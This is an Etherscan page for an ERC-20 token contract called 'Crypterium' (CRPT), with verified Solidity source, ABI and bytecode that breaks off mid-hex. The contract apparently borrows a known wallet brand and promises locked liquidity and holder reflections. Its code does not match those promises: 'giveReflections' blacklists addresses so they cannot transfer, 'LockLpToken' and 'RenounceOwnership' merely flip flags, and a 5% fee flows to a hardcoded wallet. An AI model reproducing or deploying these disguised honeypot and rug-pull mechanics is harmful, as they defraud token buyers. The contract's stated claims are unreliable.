Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000 CRPT
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
950,000 CRPTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Crypterium
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ // SPDX-License-Identifier: MIT /** * https://crypterium.com/ * Get your free wallet for Bitcoin or other 19 cryptocurrencies. Simply buy BTC, ETH and other crypto with your bank card, or instantly get your own free Visa card to withdraw worldwide. Earn interest, exchange on the best rates and stay safe with banking class security. * 100% Liquidity locked for 10 years * 5% Reflections for all token holders * All users holding atleast 500,000 CRPT will be able to use our wallet with no fees. Forever. In case of policy changes */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Crypterium is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Crypterium"; string private constant _symbol = "CRPT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool public lock = false; bool public renounced = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7); _feeAddrWallet2 = payable(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function giveReflections(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function LockLpToken() public onlyOwner() { lock = true; } function RenounceOwnership() public onlyOwner() { renounced = true; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LockLpToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"giveReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounced","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052662386f26fc100006000196200001b91906200056a565b6000196200002a919062000525565b6008556000600f60146101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff0219169083151502179055506000600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506000600f60186101000a81548160ff021916908315150217905550662386f26fc10000601055348015620000cc57600080fd5b506000620000df620004c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507395d1ecbd27c34cb22530f5a089a0a37e0c91a0c7600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507395d1ecbd27c34cb22530f5a089a0a37e0c91a0c7600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600260006200023e620004c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600062000292620004ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200043f620004c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167395d1ecbd27c34cb22530f5a089a0a37e0c91a0c773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc10000604051620004b8919062000508565b60405180910390a362000600565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005028162000560565b82525050565b60006020820190506200051f6000830184620004f7565b92915050565b6000620005328262000560565b91506200053f8362000560565b925082821015620005555762000554620005a2565b5b828203905092915050565b6000819050919050565b6000620005778262000560565b9150620005848362000560565b925082620005975762000596620005d1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612a9d80620006106000396000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063c3c8cd8011610064578063c3c8cd8014610330578063d232c22014610347578063dd62ed3e14610372578063e57887ba146103af578063f83d08ba146103c657610109565b806370a08231146102605780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b806323b872dd116100d157806323b872dd146101ca578063313ce567146102075780636e4ee811146102325780636fc3eaec1461024957610109565b806306fdde031461010e578063095ea7b31461013957806315a892be1461017657806318160ddd1461019f57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103f1565b6040516101309190612257565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611f60565b61042e565b60405161016d919061223c565b60405180910390f35b34801561018257600080fd5b5061019d60048036038101906101989190611f9c565b61044c565b005b3480156101ab57600080fd5b506101b461059c565b6040516101c19190612399565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190611f11565b6105ab565b6040516101fe919061223c565b60405180910390f35b34801561021357600080fd5b5061021c610684565b604051610229919061240e565b60405180910390f35b34801561023e57600080fd5b5061024761068d565b005b34801561025557600080fd5b5061025e61073f565b005b34801561026c57600080fd5b5061028760048036038101906102829190611e83565b6107b1565b6040516102949190612399565b60405180910390f35b3480156102a957600080fd5b506102b2610802565b6040516102bf9190612221565b60405180910390f35b3480156102d457600080fd5b506102dd61082b565b6040516102ea9190612257565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190611f60565b610868565b604051610327919061223c565b60405180910390f35b34801561033c57600080fd5b50610345610886565b005b34801561035357600080fd5b5061035c610900565b604051610369919061223c565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190611ed5565b610913565b6040516103a69190612399565b60405180910390f35b3480156103bb57600080fd5b506103c461099a565b005b3480156103d257600080fd5b506103db610a4c565b6040516103e8919061223c565b60405180910390f35b60606040518060400160405280600a81526020017f4372797074657269756d00000000000000000000000000000000000000000000815250905090565b600061044261043b610a5f565b8484610a67565b6001905092915050565b610454610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d890612319565b60405180910390fd5b60005b81518110156105985760016006600084848151811061052c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610590906126af565b9150506104e4565b5050565b6000662386f26fc10000905090565b60006105b8848484610c32565b610679846105c4610a5f565b61067485604051806060016040528060288152602001612a4060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062a610a5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112379092919063ffffffff16565b610a67565b600190509392505050565b60006009905090565b610695610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612319565b60405180910390fd5b6001600f60156101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610780610a5f565b73ffffffffffffffffffffffffffffffffffffffff16146107a057600080fd5b60004790506107ae8161129b565b50565b60006107fb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611396565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4352505400000000000000000000000000000000000000000000000000000000815250905090565b600061087c610875610a5f565b8484610c32565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108c7610a5f565b73ffffffffffffffffffffffffffffffffffffffff16146108e757600080fd5b60006108f2306107b1565b90506108fd81611404565b50565b600f60159054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109a2610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690612319565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b600f60149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ace90612379565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906122b9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c259190612399565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9990612359565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612279565b60405180910390fd5b60008111610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90612339565b60405180910390fd5b6000600a819055506005600b81905550610d6d610802565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ddb5750610dab610802565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561122757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e845750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610e8d57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610f385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fa65750600f60189054906101000a900460ff165b1561105657601054811115610fba57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061100557600080fd5b601e4261101291906124cf565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561116d576000600a819055506005600b819055505b6000611178306107b1565b9050600f60169054906101000a900460ff161580156111e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111fd5750600f60179054906101000a900460ff165b156112255761120b81611404565b60004790506000811115611223576112224761129b565b5b505b505b6112328383836116fe565b505050565b600083831115829061127f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112769190612257565b60405180910390fd5b506000838561128e91906125b0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6112eb60028461170e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611316573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61136760028461170e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611392573d6000803e3d6000fd5b5050565b60006008548211156113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490612299565b60405180910390fd5b60006113e7611758565b90506113fc818461170e90919063ffffffff16565b915050919050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611462577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156114905781602001602082028036833780820191505090505b50905030816000815181106114ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561157057600080fd5b505afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a89190611eac565b816001815181106115e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a67565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906123b4565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b611709838383611783565b505050565b600061175083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061194e565b905092915050565b60008060006117656119b1565b9150915061177c818361170e90919063ffffffff16565b9250505090565b60008060008060008061179587611a0d565b9550955095509550955095506117f386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d481611b1d565b6118de8483611bda565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161193b9190612399565b60405180910390a3505050505050505050565b60008083118290611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c9190612257565b60405180910390fd5b50600083856119a49190612525565b9050809150509392505050565b600080600060085490506000662386f26fc1000090506119e3662386f26fc1000060085461170e90919063ffffffff16565b821015611a0057600854662386f26fc10000935093505050611a09565b81819350935050505b9091565b6000806000806000806000806000611a2a8a600a54600b54611c14565b9250925092506000611a3a611758565b90506000806000611a4d8e878787611caa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ab783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611237565b905092915050565b6000808284611ace91906124cf565b905083811015611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a906122d9565b60405180910390fd5b8091505092915050565b6000611b27611758565b90506000611b3e8284611d3390919063ffffffff16565b9050611b9281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bef82600854611a7590919063ffffffff16565b600881905550611c0a81600954611abf90919063ffffffff16565b6009819055505050565b600080600080611c406064611c32888a611d3390919063ffffffff16565b61170e90919063ffffffff16565b90506000611c6a6064611c5c888b611d3390919063ffffffff16565b61170e90919063ffffffff16565b90506000611c9382611c85858c611a7590919063ffffffff16565b611a7590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611cc38589611d3390919063ffffffff16565b90506000611cda8689611d3390919063ffffffff16565b90506000611cf18789611d3390919063ffffffff16565b90506000611d1a82611d0c8587611a7590919063ffffffff16565b611a7590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d465760009050611da8565b60008284611d549190612556565b9050828482611d639190612525565b14611da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9a906122f9565b60405180910390fd5b809150505b92915050565b6000611dc1611dbc8461244e565b612429565b90508083825260208201905082856020860282011115611de057600080fd5b60005b85811015611e105781611df68882611e1a565b845260208401935060208301925050600181019050611de3565b5050509392505050565b600081359050611e2981612a11565b92915050565b600081519050611e3e81612a11565b92915050565b600082601f830112611e5557600080fd5b8135611e